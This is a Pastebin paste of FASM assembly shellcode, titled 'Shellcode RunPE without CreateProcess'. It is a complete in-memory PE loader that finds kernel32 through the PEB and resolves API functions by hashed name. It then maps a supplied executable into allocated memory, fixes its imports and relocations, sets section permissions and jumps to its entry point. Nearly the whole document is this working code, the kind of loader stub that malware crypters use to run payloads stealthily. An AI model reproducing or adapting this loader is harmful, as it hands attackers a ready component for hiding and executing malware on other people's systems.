CovetousEyes

[FASM] Shellcode RunPE without CreateProcess

Feb 21st, 2013
1,171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. use32
  2.  
  3. format binary
  4.  
  5. include 'win32a.inc'
  6. include 'pe.inc'
  7.  
  8. struct stAPITable
  9.  pVirtualAllocEx_kernel32         dd ?
  10.  pLoadLibraryA_kernel32          dd ?
  11.  pVirtualProtect_kernel32         dd ?
  12. ends
  13.  
  14. proc _GetDeltaProc, pPEImage
  15.     stdcall    RunPE_main, [pPEImage]
  16.     .Delta:
  17.     ret
  18. endp
  19.  
  20. proc    RunPE_main pPEImage
  21.   local   pFileHeader:DWORD
  22.   local   pNewPEPlace:DWORD
  23.   local   APITable[0x14]:BYTE
  24.   local   pAPITable:DWORD
  25.   local   iResult:DWORD
  26.   local   huser32:DWORD
  27.   local   szuser32[0xb]:BYTE
  28.   local   pGetHashSz:DWORD
  29.   local   hkernel32:DWORD
  30.  
  31.     push    edi
  32.     push    ecx
  33.     push    eax
  34.     mov     eax, [ebp+04h]
  35.     sub     eax, _GetDeltaProc.Delta
  36.     push    eax
  37.     pop     ebx
  38.     lea     ebx, [ebx+GetHashSz]
  39.     push    ebx
  40.     pop     DWord [pGetHashSz]
  41.     call    GetK32
  42.     mov     DWord [hkernel32], eax
  43.     stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x632466f0
  44.     mov     DWord [APITable+stAPITable.pVirtualAllocEx_kernel32], eax
  45.     stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80
  46.     mov     DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax
  47.     stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722
  48.     mov     DWord [APITable+stAPITable.pLoadLibraryA_kernel32], eax
  49.     lea     ecx, [APITable]
  50.     mov     DWord [pAPITable], ecx
  51.     stdcall verifyPE, [pPEImage]
  52.     cmp     eax, 0x0
  53.     jz        .End  
  54.     push    eax
  55.     pop     DWord [pFileHeader]
  56.     stdcall DWord [APITable+stAPITable.pVirtualAllocEx_kernel32], -1, NULL, DWord [eax+IMAGE_OPTIONAL_HEADER32.SizeOfImage+sizeof.IMAGE_FILE_HEADER],\
  57.         MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN, PAGE_READWRITE
  58.     mov     [pNewPEPlace], eax
  59.     stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage], [pNewPEPlace]
  60.     stdcall loadImportTable, [pAPITable], [pGetHashSz], [pNewPEPlace]
  61.     test    eax, eax
  62.     jz        .End
  63.     stdcall reloc_fixup, [pNewPEPlace], [pFileHeader]
  64.     stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage], [pNewPEPlace]
  65.     mov     esi, [pFileHeader]
  66.     mov     eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
  67.     add     eax, [pNewPEPlace]
  68.     jmp     eax
  69. .End:
  70.     pop     eax
  71.     pop     ecx
  72.     pop     edi
  73.     mov     eax, DWord [iResult]
  74.     ret
  75. endp
  76.  
  77. proc    verifyPE pImagePE
  78.   local   iResult:DWORD
  79.     pusha
  80.     push    DWord [pImagePE]
  81.     pop     edx
  82.     cmp     Word [edx], WORD 0x5a4d
  83.     jnz     .Exit
  84.     mov     ecx, DWord [edx+IMAGE_DOS_HEADER.e_lfanew]
  85.     add     edx, ecx
  86.     cmp     DWord [edx], DWORD 0x4550
  87.     jne     .Exit
  88.     lea     edx, [edx+0x4]
  89. .Exit:
  90.     mov     DWord [iResult], edx
  91.     popa
  92.     push    DWord [iResult]
  93.     pop     eax
  94.     ret
  95. endp
  96.  
  97. proc loadSection pImageSectionHeader:DWORD, pImageBase:DWORD, pBase:DWORD
  98.  
  99.     pushad
  100.     mov     edx, [pImageSectionHeader]
  101.     mov     esi, [pImageBase]
  102.     add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
  103.     mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
  104.     add     edi, [pBase]
  105.     mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
  106.     cld
  107.     rep     movsb
  108.     popad
  109.     ret
  110. endp
  111.  
  112. proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pImageBase, pBase:DWORD
  113.  
  114. local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD,    .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD
  115.  
  116.     pushad
  117.     mov     edx, [pImageFileHeader]
  118.     movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
  119.     mov     [.iSectNum], eax
  120.     lea     edx, [edx+sizeof.IMAGE_FILE_HEADER]
  121.     lea     ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
  122.     mov     eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
  123.     mov     edx, sizeof.IMAGE_DATA_DIRECTORY
  124.     mul     edx
  125.     add     eax, ebx
  126.     mov     [.pSectionHeaders], eax
  127.     mov     eax, sizeof.IMAGE_SECTION_HEADER
  128.     mov     edx, [.iSectNum]
  129.     mul     edx
  130.     add     eax, [.pSectionHeaders]
  131.     sub     eax, [pImageBase]
  132.     mov     ecx, eax
  133.     mov     edi, [pBase]
  134.     mov     esi, [pImageBase]
  135.     rep     movsb
  136.     mov     ecx, [.iSectNum]
  137.     mov     ebx, [.pSectionHeaders]
  138. .load_section_loop:
  139.     stdcall    loadSection, ebx, [pImageBase], [pBase]
  140.     add     ebx, sizeof.IMAGE_SECTION_HEADER
  141.     dec     ecx
  142.     jnz     .load_section_loop
  143. .Exit:
  144.     popad
  145.     ret
  146. endp
  147.  
  148. proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pImageBase:DWORD, pBase:DWORD
  149.  
  150.  local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
  151.  
  152.     pushad
  153.     xor     eax, eax
  154.     mov     [.retval], eax
  155.     mov     edx, [pImageFileHeader]
  156.     movzx    eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
  157.     mov     [.number_of_sections], eax
  158.     add     edx, sizeof.IMAGE_FILE_HEADER
  159.     mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
  160.     mov     [.image_base], eax
  161.     lea     ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
  162.     mov     eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
  163.     mov     edx, sizeof.IMAGE_DATA_DIRECTORY
  164.     mul     edx
  165.     add     eax, ebx
  166.     mov     [.section_headers], eax
  167.     mov     eax, sizeof.IMAGE_SECTION_HEADER
  168.     mov     edx, [.number_of_sections]
  169.     mul     edx
  170.     add     eax, [.section_headers]
  171.     mov     ebx, [pImageBase]
  172.     sub     eax, ebx
  173.     mov     [.pe_header_size], eax
  174.     mov     edx, [APITable]
  175.     lea     eax, [.vprotect_ret]
  176.     stdcall    dword [edx+stAPITable.pVirtualProtect_kernel32], [pBase], [.pe_header_size], PAGE_READONLY, eax
  177.     test    eax, eax
  178.     jz        .exit
  179.     mov     ecx, [.number_of_sections]
  180.     mov     ebx, [.section_headers]
  181. .load_section_loop:
  182.     stdcall    setSection, [APITable], ebx, [pBase], [pImageBase]
  183.     test    eax, eax
  184.     jz        .exit
  185.     add     ebx, sizeof.IMAGE_SECTION_HEADER
  186.     loop    .load_section_loop
  187.     inc     [.retval]
  188. .exit:
  189.     popad
  190.     mov     eax, [.retval]
  191.     ret
  192. endp
  193.  
  194. proc setSection APITable:DWORD, pSectionHeader:DWORD, pBase:DWORD, pImageBase:DWORD
  195. local .section_flags:DWORD, .retval:DWORD, .vprotect_ret:DWORD
  196.     pushad
  197.     xor     ebx, ebx
  198.     mov     [.retval], ebx
  199.     mov     edx, [pSectionHeader]
  200. ;section execute/read/write?
  201.     mov     ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
  202.     and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  203.     cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  204.     jne     .no_execute_read_write
  205.     mov     eax, PAGE_EXECUTE_READWRITE
  206.     mov     [.section_flags],eax
  207.     jmp     .set_memory
  208. .no_execute_read_write:
  209.     mov     ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
  210.     and     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
  211.     cmp     ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
  212.     jne     .no_execute_read
  213.     mov     eax, PAGE_EXECUTE_READ
  214.     mov     [.section_flags],eax
  215.     jmp     .set_memory
  216. .no_execute_read:
  217.     mov     ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
  218.     and     ebx, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  219.     cmp     ebx, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  220.     jne     .no_read_write
  221.     mov     eax, PAGE_READWRITE
  222.     mov     [.section_flags], eax
  223.     jmp     .set_memory
  224. .no_read_write:
  225.     mov     ebx, [edx+IMAGE_SECTION_HEADER.Characteristics]
  226.     and     ebx, IMAGE_SCN_MEM_READ
  227.     cmp     ebx, IMAGE_SCN_MEM_READ
  228.     jne     .no_read
  229.     mov     eax, PAGE_READONLY
  230.     mov     [.section_flags], eax
  231.     jmp     .set_memory
  232. .no_read:
  233.     mov     eax, PAGE_NOACCESS
  234.     mov     [.section_flags],eax
  235. .set_memory:
  236.     mov     edx, [pSectionHeader]
  237.     mov     eax, [edx + IMAGE_SECTION_HEADER.VirtualAddress]
  238.     add     eax, [pBase]
  239.     mov     ecx, [APITable]
  240.     lea     edi, [.vprotect_ret]
  241.     stdcall    DWord [ecx + stAPITable.pVirtualProtect_kernel32], eax, [edx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], edi
  242.     test    eax, eax
  243.     jz        .Exit
  244.     inc     [.retval]
  245. .Exit:
  246.     popad
  247.     mov     eax, [.retval]
  248.     ret
  249. endp
  250.  
  251. proc    GetNtdll
  252.   local   iResult:DWORD
  253.     push    edi
  254.     push    esi
  255.     push    ebx
  256.     push    DWord [fs:0x30]
  257.     pop     edi
  258.     mov     esi, DWord [edi+0xC]
  259.     push    DWord [esi+0x1C]
  260.     pop     ebx
  261.     push    DWord [ebx+0x8]
  262.     pop     DWord [iResult]
  263.     pop     ebx
  264.     pop     esi
  265.     pop     edi
  266.     mov     eax, DWord [iResult]
  267.     ret
  268. endp
  269.  
  270. proc    GetK32
  271.   local   iResult:DWORD
  272.     pusha
  273.     mov     ecx, DWord [fs:0x30]
  274.     mov     edi, DWord [ecx+0xC]
  275.     mov     edi, DWord [edi+0x1C]
  276. .NextModule:
  277.     push    DWord [edi+0x8]
  278.     pop     DWord [iResult]
  279.     push    DWord [edi+0x20]
  280.     pop     ebx
  281.     mov     edi, DWord [edi]
  282.     movzx   eax, Byte [ebx+0x18]
  283.     test    eax, eax
  284.     jne     .NextModule
  285.     movzx   eax, Byte [ebx]
  286.     cmp     eax, 0x4b
  287.     je        .Found_K32
  288.     cmp     eax, 0x6b
  289.     jne     .NextModule
  290. .Found_K32:
  291.     popa
  292.     push    DWord [iResult]
  293.     pop     eax
  294.     ret
  295. endp
  296.  
  297. proc    GetHashSz strz
  298.     push    edx
  299.     push    ecx
  300.     mov     edx, DWord [strz]
  301.     push    DWORD 0x0
  302.     pop     ecx
  303.     push    ecx
  304. .CalcHash:
  305.     ror     ecx, 7
  306.     xor     [esp], ecx
  307.     mov     cl, Byte [edx]
  308.     lea     edx, [edx+0x1]
  309.     test    cl, cl
  310.     jnz     .CalcHash
  311.     pop     eax
  312.     pop     ecx
  313.     pop     edx
  314.     ret
  315. endp
  316.  
  317. proc    AltGetProcAddressByHash hLib, fHashProc, iHashVal
  318.   local   iResult:DWORD
  319.     pusha
  320.     push    DWORD 0x0
  321.     pop     DWord [iResult]
  322.     push    DWord [hLib]
  323.     pop     esi
  324.     movzx   ecx, Word [esi]
  325.     cmp     ecx, 0x5a4d
  326.     jne     .End
  327.     movzx   edi, Word [esi+0x3c]
  328.     add     edi, esi
  329.     cmp     DWord [edi], DWORD 0x4550
  330.     jne     .End
  331.     push    DWord [edi+0x78]
  332.     pop     ecx
  333.     add     ecx, esi
  334.     mov     ebx, DWord [ecx+0x18]
  335.     push    ecx
  336.     push    0x0
  337.     pop     edx
  338.     push    DWord [ecx+0x20]
  339.     pop     eax
  340.     lea     eax, [esi+eax]
  341. .MainLoop:
  342.     push    DWord [eax]
  343.     pop     edi
  344.     add     edi, esi
  345.     push    eax
  346.     stdcall [fHashProc], edi
  347.     cmp     eax, DWord [iHashVal]
  348.     pop     eax
  349.     jz        .FoundProcname
  350.     lea     eax, [eax+0x4]
  351.     lea     edx, [edx+0x1]
  352.     sub     ebx, 0x1
  353.     or        ebx, ebx
  354.     jnz     .MainLoop
  355.     pop     ecx
  356.     jmp     .End
  357. .FoundProcname:
  358.     pop     edi
  359.     shl     edx, 1
  360.     add     edx, DWord [edi+0x24]
  361.     movzx   eax, Word [edx+esi]
  362.     shl     eax, 2
  363.     add     eax, esi
  364.     add     eax, DWord [edi+0x1C]
  365.     mov     ebx, DWord [eax]
  366.     lea     ebx, [esi+ebx]
  367.     push    ebx
  368.     pop     DWord [iResult]
  369. .End:
  370.     popa
  371.     push    DWord [iResult]
  372.     pop     eax
  373.     ret
  374. endp
  375.  
  376.  
  377. xReloc = sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+0x8*IMAGE_DIRECTORY_ENTRY_BASERELOC
  378.  
  379. proc reloc_fixup, dwImageBase:DWORD, pImageFileHeader:DWORD
  380.     pusha
  381.     mov    edx, [dwImageBase]
  382.     mov    ebx, [pImageFileHeader]
  383.     mov    ebx, [ebx + sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.ImageBase]
  384.     sub    edx, ebx        ; edx -> reloc_correction // delta_ImageBase
  385.     je    .end
  386.     test    ebx, ebx
  387.     jz    .end
  388.     mov    eax, [pImageFileHeader]
  389.     mov    ebx, [eax+xReloc]
  390.     add    ebx, [dwImageBase]
  391. .block:
  392.     mov    eax, [ebx + 04h]    ; ImageBaseRelocation.SizeOfBlock
  393.     test    eax, eax
  394.     jz    .end
  395.     lea    ecx, [eax - 008h]
  396.     shr    ecx, 001h
  397.     lea    edi, [ebx + 008h]
  398. .do_entry:
  399.     movzx    eax, word [edi]     ; Entry
  400.     push    edx
  401.     mov    edx, eax
  402.     shr    eax, 00Ch        ; Type = Entry >> 12
  403.     mov    esi, [dwImageBase]    ; ImageBase
  404.     and    dx,  0FFFh
  405.     add    esi, [ebx]
  406.     add    esi, edx
  407.     pop    edx
  408. .HIGH:                    ; IMAGE_REL_BASED_HIGH
  409.     dec    eax
  410.     jnz    .LOW
  411.     mov    eax, edx
  412.     shr    eax, 010h        ; HIWORD(Delta)
  413.     jmp    .LOW_fixup    
  414. .LOW:                    ; IMAGE_REL_BASED_LOW
  415.     dec    eax
  416.     jnz    .HIGHLOW
  417.     movzx    eax, dx         ; LOWORD(Delta)
  418. .LOW_fixup:
  419.     add    word [esi], ax        ; mem[x] = mem[x] + delta_ImageBase
  420.     jmp    .next_entry      
  421. .HIGHLOW:                ; IMAGE_REL_BASED_HIGHLOW
  422.     dec    eax
  423.     jnz    .next_entry
  424.     add    [esi],edx        ; mem[x] = mem[x] + delta_ImageBase
  425. .next_entry:
  426.     inc    edi
  427.     inc    edi            ; Entry++
  428.     loop    .do_entry
  429. .next_base:
  430.     add    ebx, [ebx + 004h]
  431.     jmp    .block
  432. .end:
  433.     popa
  434.     ret
  435. endp
  436.  
  437. proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD
  438.  
  439. local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD
  440.  
  441.     pushad
  442.     xor     eax, eax
  443.     inc     eax
  444.     mov     [.retval], eax
  445.     mov     edx, [image_base]
  446.     mov     eax, [edx + IMAGE_DOS_HEADER.e_lfanew]
  447.     lea     eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
  448.     mov     eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]
  449.     add     eax, edx
  450.     mov     [.import_table],eax
  451.     lea     edi, [.null_directory_entry]
  452.     mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
  453.     mov     al, 0h
  454.     rep     stosb
  455.     mov     ebx, [.import_table]
  456. .next_directory_entry:
  457.     lea     esi, [.null_directory_entry]
  458.     mov     edi, ebx
  459.     mov     ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
  460.     rep     cmpsb
  461.     je        .exit_success
  462.     stdcall    loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx
  463.     test    eax, eax
  464.     jz        .exit_error
  465.     add     ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR
  466.     jmp     .next_directory_entry
  467. .exit_success:
  468.     inc     [.retval]
  469. .exit_error:
  470.     popad
  471.     mov     eax, [.retval]
  472.     ret
  473. endp
  474.  
  475. proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD
  476.  
  477.   local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
  478.     pushad
  479.     mov     eax, [directory_entry]
  480.     mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
  481.     add     eax, [image_base]
  482.     ;load the corresponding dll
  483.     mov     ebx, [APITable]
  484.     stdcall    DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax
  485.     test    eax,eax
  486.     jz        .exit_error
  487.     mov     [.dll_image_base],eax
  488.     mov     edx, [directory_entry]
  489.     mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
  490.     add     eax, [image_base]
  491.     mov     [.lookup_table], eax
  492.     mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
  493.     add     eax, [image_base]
  494.     mov     [.import_address_table],eax
  495.     xor     ecx, ecx
  496.  
  497. .next_lookup_entry:
  498.     mov     eax, [.lookup_table]
  499.     add     eax, ecx
  500.     mov     eax, [eax]
  501.     test    eax,eax
  502.     jz        .exit_success
  503.     mov     ebx, eax
  504.     and     eax, IMAGE_ORDINAL_FLAG32
  505.     jnz     .exit_error
  506. .byname:
  507.     add     ebx, [image_base]
  508.     lea     ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]
  509.     mov     eax, ebx
  510.     push    ecx
  511.     stdcall    GetHashSz, ebx
  512.     stdcall    AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax
  513.     pop     ecx
  514.     test    eax, eax
  515.     jz        .exit_error
  516.     mov     ebx, [.import_address_table]
  517.     add     ebx, ecx
  518.     mov     [ebx], eax
  519.     add     ecx, 4
  520.     jmp     .next_lookup_entry
  521. .exit_success:
  522.     popad
  523.     mov eax,1
  524.     ret
  525. .exit_error:
  526.     popad
  527.     mov eax,0
  528.     ret
  529. endp
  530.  
  531. dd _GetDeltaProc
Advertisement
Add Comment
Please, Sign In to add comment